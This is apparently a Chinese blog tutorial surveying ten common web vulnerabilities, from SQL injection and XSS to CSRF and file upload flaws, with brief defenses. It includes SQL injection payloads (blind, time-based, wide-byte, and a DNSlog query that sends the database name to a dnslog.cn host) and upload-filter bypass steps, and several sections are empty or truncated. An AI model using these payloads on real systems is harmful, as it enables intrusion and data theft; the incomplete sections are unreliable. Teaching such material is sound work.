随着网络的发展,现在各行各业也都建立起了自己的网络服务,这虽然使得广大的人民群众能更好的认识这家公司,但也会吸引各个攻击者的注意力。

而大多数的企事业单位都会建立属于自己的门户网站或为了便利在服务器上部署各种工具(如“OA”),但岂能料到,正是因为这些网站使得自己面临着巨大的网络安全威胁(如常见的信息泄露等)。

在信息安全中最为常见的就是web安全,今天就由我来为各位介绍web安全排行榜中位列前10的安全漏洞。


目录

1.sql注入

2.失效的身份认证和会话管理

3.跨站脚本攻击(xss)

4. 安全配置错误

5. 敏感信息泄露

6. 访问控制

7. 跨站请求伪造(CSRF)

8.使用已知漏洞的组件

9.未验证的重定向和转发

10. 文件上传漏洞(这是我实在想不起来了就随便加了个)


1.sql注入

1.1 介绍:

        sql注入是最为常见也是破坏力最大的漏洞,它是因为开发在开发时没有对用户的输入行为进行判断和过滤,使得用户输入了恶意语句后传给了后端数据库进行相应的动作(如增删改查)。

1.2 分类(这里为了节省篇幅使用的是执行效果分类):

1.2.1 盲注:

        盲注不是太适合刚上手就进行的操作,它花费的时间与精力要远大于其他类型的注入,并且被管理员发现的可能性很高;但是它适配绝大多数的注入点。

        盲注分为bool盲注、时间盲注、dnslog盲注。

1.2.1.1 布尔盲注(bool)

         这个是以所回显的内容的不同作为判断依据。

 语法:

id=1 and 1=1

id=2 and 1=2

id=1 and user()='root@localhost'

1.2.1.2 时间盲注

        这个是以所回显内容的时长来作为判断依据的

语法:

id=1 and sleep(2)

id=1 and if((substr((select user()),1,1)='r'),sleep(2),1)

1.2.1.3 dnslog盲注

        这个注入有个缺点,就是对方服务器必须是windows系统还得是root权限,secure_file_priv为空

语法:

id=2 and 1=(selectload_file(concat('\\\',hex(database()),'.rly7j0.dnslog.cn

1.2.2 报错注入:

        报错注入就是利用数据库的机制来人为的制造错误条件,使得查询结果能回显到报错信息中。

         报错注入有十种,但是我自己常用的只有三种,分别是:floor、updatexm、extractvalue。

1.2.2.1 floor报错注入

         这种报错注入就是利用数据库主键不能重复的原理,使用GROUP BY分组,产生主键冗余,从而导致报错。

联合查询;

堆叠注入;

1.2.5 宽字节注入:

宽子节注入的编码是相对于ascll码这样的单子节而言的,像GB2312、GBK这类就是常说的宽字节,实际上只有两个字节;

GBK是一种多字符的编码方式,一个通过GBK进行编码的汉字占两个字节;而通过utf-8编码的汉字则占3个字节;

而mysql为了应对这类注入就引入了转义函数的机制,如对特殊的字符加上反斜杠进行转义;mysql还有addslashes,mysql_real_escape_string等;

以php客户端为例,客户端输入数据后若php没有进行过编码修改则会通过默认的编码方式来生成sql语句传递给服务器,而php没有开启default_charse时,编码方式默认为空 ;

数据库收到所传递的信息后会对sql语句进行解码,然后再使用系统变量character_set_connection进行十六进制编码,当sql语句执行完后则会通过character_set_results进行编码输出

        宽字节注入指的是mysql数据库在使用宽字符(GBK)编码时会默认两个字符时一个汉字,而当客户端输入单引号时,mysql会调用转移函数,将单引号变为'\,其中\的十六进制是%5c,mysql的GBK编码会认为%df%5c是一个宽字节,也就是'運‘,从而使得单引号闭合,进行了注入攻击

数据大致变化过程:

%df%27==>(过滤函数)==>%df%5c%27==>(GBK)==>结果

二次注入;

注:因为小编自己前段时间有事加上电脑又为了做论文重置过所以现在电脑上的工具、环境及靶场是基本清零,所以这篇文章基本上就是大致的介绍文,至于实践过程需要过段时间小编把电脑配置好了再增加上去或者从新开篇做,请各位谅解,谢谢。

1.3 sql注入bypass

        记得去年的时候有个工具就是专门用来bypass的,当时还下来试了一下,结果现在忘了叫啥了,哈哈哈...

        现在的环境,sql注入bypass基本上就是老的能用的已经很少了,新的对环境的要求又有点高,好用的在别人手上,难用的都在自己手上...

bypass基本有以下几种:

字符串拼接:

'1'||'2'

'1'+'2'

'1'\|\|'2'

1' '2'

concat('1','2')

2.失效的身份认证和会话管理

2.1 介绍:

        开发人员在进行web程序开发的时候,有些开发人员因为某些原因就只能关注web应用程序的功能,从而忽视了一些安全问题,所以就会出现建立自定义的认证和会话方案。但是这些方案的实现上却往往有着漏洞的出现,如:推出、密码管理、超时、密码找回、账户更新等;

        这类漏洞大多属于逻辑漏洞,最长出现的地方就是登录界面哪里以及url哪里        

2.2 举列:

        用户A登录了某个web界面,而那个界面登录后的url为:

        http://www.xxxx.com/user/a;jsessionid=12345678?name=123d

        这时用户A在没有退出的情况下直接关闭了浏览器并且将该url发给了用户B,当用户B进入该url后就能直接行使用户A的权限,那么这里就时url中泄露了会话id并且因为该web程序支持url重写就导致了用户B能直接登录上用户A的账号并行使相应的权限。

2.3 修复方式:

(1)限制区域;

(2)使用密码有效期;

(3)禁用用户;

(4)不要存储用户密码;

(5)传输过程对数据进行加密传输;

(6)对身份验证cookie进行加密;

(7)限制会话时长;

(8)避免未授权;

3.跨站脚本攻击(xss)

3.1 介绍:

        xss攻击就是攻击者构建了一个恶意代码然后在漏洞存在的网站进行了传输,当其他用户访问该网站或者点击功能点时就会自动触发该恶意代码然后达到攻击目的。

3.2 分类:

3.2.1 反射性xss:

        这类攻击没有什么实际上的作用

3.2.2 存储性xss:

        这类攻击要比反射性xss的危害性高的多,往往可以配合其他攻击手法进行扩大

3.2.3 DOM型xss:

        这类攻击是不需要服务端的参与,往往是浏览器的dom解析来触发,纯纯的客户端的事

3.3 防御:

(1)使用跨站脚本过滤器(xss filter)来分析用户提交的数据中是否可能存在恶意代码或脚本;

(2)输入过滤:

        输入中是否有违法字符;

        输入字符是否超出最大长度限制;

        输入数字是否是规定范围内的;

        若输入框中规定了特殊格式要求则需要建立规则来防止进行其他的攻击;

(3)特殊字符进行转码或编码操作

(4)黑白名单

4. 安全配置错误

4.1 介绍:

        该漏洞通常是由于开发人员的疏忽导致了某些安全配置不当或者使用默认配置从而导致了漏洞的触发

4.2 防御:

(1)配置所有的安全机制

(2)使用简易化,将不使用的服务关闭

(3)更改账户默认信息

(4)回显信息不显示与实际错误无关的信息

5. 敏感信息泄露

5.1 介绍:

        该漏洞是因为管理人员或者技术人员因为某些原因导致了敏感信息泄露。这类漏洞常常会被黑产组织收集起来然后对公民个人信息进行侵害从而达到盈利的目的。

5.2 攻击方式(简单):

        使用工具进行挖掘,好比爬虫等可以扫描敏感文件、目录从而照到敏感数据;

手工挖掘,查看web容器或者网页源代码,从中分析出可能存在的敏感信息。(如目录等)

5.3 防御:

        加强员工的安全意识并且对用户的信息进行加密。

6. 访问控制

6.1 介绍:

        大多数web应用程序的功能在页面显示之前会验证用户能访问的权限级别。但要是请求没有被验证权限,那么攻击者就能伪造请求来达到未授权访问。

6.2 攻击手法(简易)

        非法用户以某种手段来对本应该是有权限的用户才能访问的页面进行访问(且能进行有权限的用户的操作)。

6.3 防御措施:

(1)对应用权限进行严格的筛查,对每个url和请求进行效验和权限认证;

(2)对每个功能点的访问都要明确的角色授权,采取过滤器的方式进行简易校验;

(3)实现web访问的ip黑白名单列表,禁止危险ip访问;

7. 跨站请求伪造(CSRF)

7.1 介绍:

        CSRF全名叫cross-site request forgery,它能使攻击者冒充你的身份并且以你的名义进行恶意请求发送,这对服务器来说该请求是合法的,但却达到了攻击者所需求的操作。

7.2 攻击手法(简易)

(1)网站A、用户B与网站C;

(2)当用户B访问网站A时,输入用户与密码后并发送请求进行登录;

(3)用户信息通过验证后,网站A将cookie信息返回给了浏览器,此时用户登录网站A成功,就能正常的发送请求给网站A了;

(4)当用户因为某些事需要访问网站C时,在退出网站A之前,在同一个浏览器中打开了一个新标签去访问网站C;

(5)当网站B接收到了用户请求后,会返回一些攻击性代码,并且发送一个请求要求访问第三方站点A;

(6)浏览器接收到这些攻击代码后,则会根据网站C的请求,在用户不知情的情况下携带cookie,向网站A发送请求。此时网站A并不知道该请求其实是由C发送的,所以会根据用户B的cookie以B的权限进行处理,从而导致网站C的恶意代码被执行。

7.3 分类:

get和post型。

7.4 防御手段:

(1)验证HTTP Referer字段。

(2)在请求地址中添加token并且验证。

(3)在重要功能中添加二次验证。

8.使用已知漏洞的组件

8.1 介绍:

        因为个别程序员对安全的忽视从而导致了它们所做出来的程序中的组件和库可能是曾经出过漏洞的版本,这样就会直接使最后做出来的程序产生对应的历史漏洞;

8.2 攻击手法(简易):

        直接使用网上已有的POC进行探测然后在使用EXP进行攻击即可

8.3 防御措施:

(1)及时更新所使用的组件和库的版本;

(2)及时关注所使用的组件和库的漏洞;

(3)建立完善的网络安全审核制度,对项目所使用的组件进行历史漏洞审核;

(4)尽量以最小化进行封装,对易受攻击的地方进行封禁;

9.未验证的重定向和转发

9.1 介绍:

(1)重定向简单的理解就是,当客服端第一次访问服务器时,服务器会返回一个状态码告诉浏览器去访问一个新的地址,而这个地址的url与第一次访问时是不一样的;

(2)转发就是当客户端将请求发给服务端后,服务器内部将这个请求转发给了另一个资源,然后将另一个资源的url所响应的内容再读取回来,最后通过原来所访问的url返回给客户端,而这一转发是在服务器内部进行的,所以客户端并不知道服务器所发送的内容到底是来自哪里(因为它的url还是原来的那个);

9.2 区别:

因为重定向是浏览器向服务器发送一个请求并响应后再次向一个新地址发出请求,所以是发送了两次请求,且两个地址并没有进行资源共享;

而转发则是浏览器向服务器发送一个请求并响应后再将该请求转发给另一个资源点,然后将第二个资源点所响应的内容读取到第一个资源点,最后原路返回给浏览器,所以这连个地址是进行了资源共享的;

9.3 防御措施:

(1)重定向外部网站需要验证是否在黑白名单内;

(2)对内部网站转发要进行权限验证,有权限的才能进行操作;

10. 文件上传漏洞(这是我实在想不起来了就随便加了个)

10.1 介绍:

        开发人员在进行开发时,没有对客户端所上传的文件进行严格的验证和过滤;

10.2 攻击手法(简易):

(1)JS前端检测绕过:

        使用浏览器的插件,对检测文件后缀的JS代码进行删除,然后就能进行绕过了;

(2)文件后缀绕过:

        使用抓包软件,将请求包中的文件后缀修改了;

(3)文件类型绕过:

        使用抓包软件,将请求包中的Content-Type值修改一下就ok了;

(4)文件截断绕过:

        这玩意儿有点鸡肋,它必须在PHP<5.3.4且magic_quotes_gpc为off状态时才能进行;

        就是将请求包中的get参数截断的内容作为上传文件名的第一部分,然后将按时间生成的文件名作为第二部分;

(5)条件竞争:

        这个就类似于打时间差的战术,它利用了文件上传检测机制检查后判定是否上传成功和删除文件之间的那一小段时间中完成攻击;

10.3 防御措施:

(1)使用黑白名单进行过滤;

(2)对上传成功的文件进行重命名;

(3)在服务器端加装WAF;


好了,这篇就写到这里吧,我个人也是因为某些事耽误了很久所以导致现在无论技术还是文笔上越来越差,要是发现哪里不对或者不连通请各位见谅。

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐